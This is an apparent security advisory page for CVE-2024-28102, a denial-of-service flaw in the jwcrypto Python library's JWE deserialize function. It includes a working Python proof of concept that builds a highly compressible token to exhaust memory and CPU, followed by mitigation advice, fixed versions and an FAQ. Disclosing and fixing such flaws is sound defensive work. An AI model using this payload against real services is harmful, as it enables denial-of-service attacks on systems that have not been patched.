CVE-2024-28102: JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
First published: Wed Mar 06 2024(Updated: )
## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/jwcrypto | <=1.5.5 | 1.5.6 |
| redhat/python-jwcrypto | <1.5.6 | 1.5.6 |
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Reference Links
- https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97
- https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f
- https://nvd.nist.gov/vuln/detail/CVE-2024-28102
- https://github.com/advisories/GHSA-j857-7rvv-vj97 (Advisory)
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=2268759
- https://access.redhat.com/errata/RHSA-2024:2559
- https://access.redhat.com/errata/RHSA-2024:3267
- https://access.redhat.com/errata/RHSA-2024:4522
- https://bugzilla.redhat.com/show_bug.cgi?id=2268758
Frequently Asked Questions
What is the severity of CVE-2024-28102?
CVE-2024-28102 is classified as a denial-of-service vulnerability due to high memory consumption.
How do I fix CVE-2024-28102?
To fix CVE-2024-28102, upgrade to version 1.5.6 or later of the jwcrypto package.
What types of attacks are possible with CVE-2024-28102?
CVE-2024-28102 enables attackers to perform denial-of-service attacks by submitting malicious JWE Tokens.
Which versions are affected by CVE-2024-28102?
Versions up to and including 1.5.5 of the jwcrypto package are affected by CVE-2024-28102.
Is there a workaround for CVE-2024-28102 if I cannot update?
There is no recommended workaround for CVE-2024-28102; it is advisable to upgrade to the secure version.
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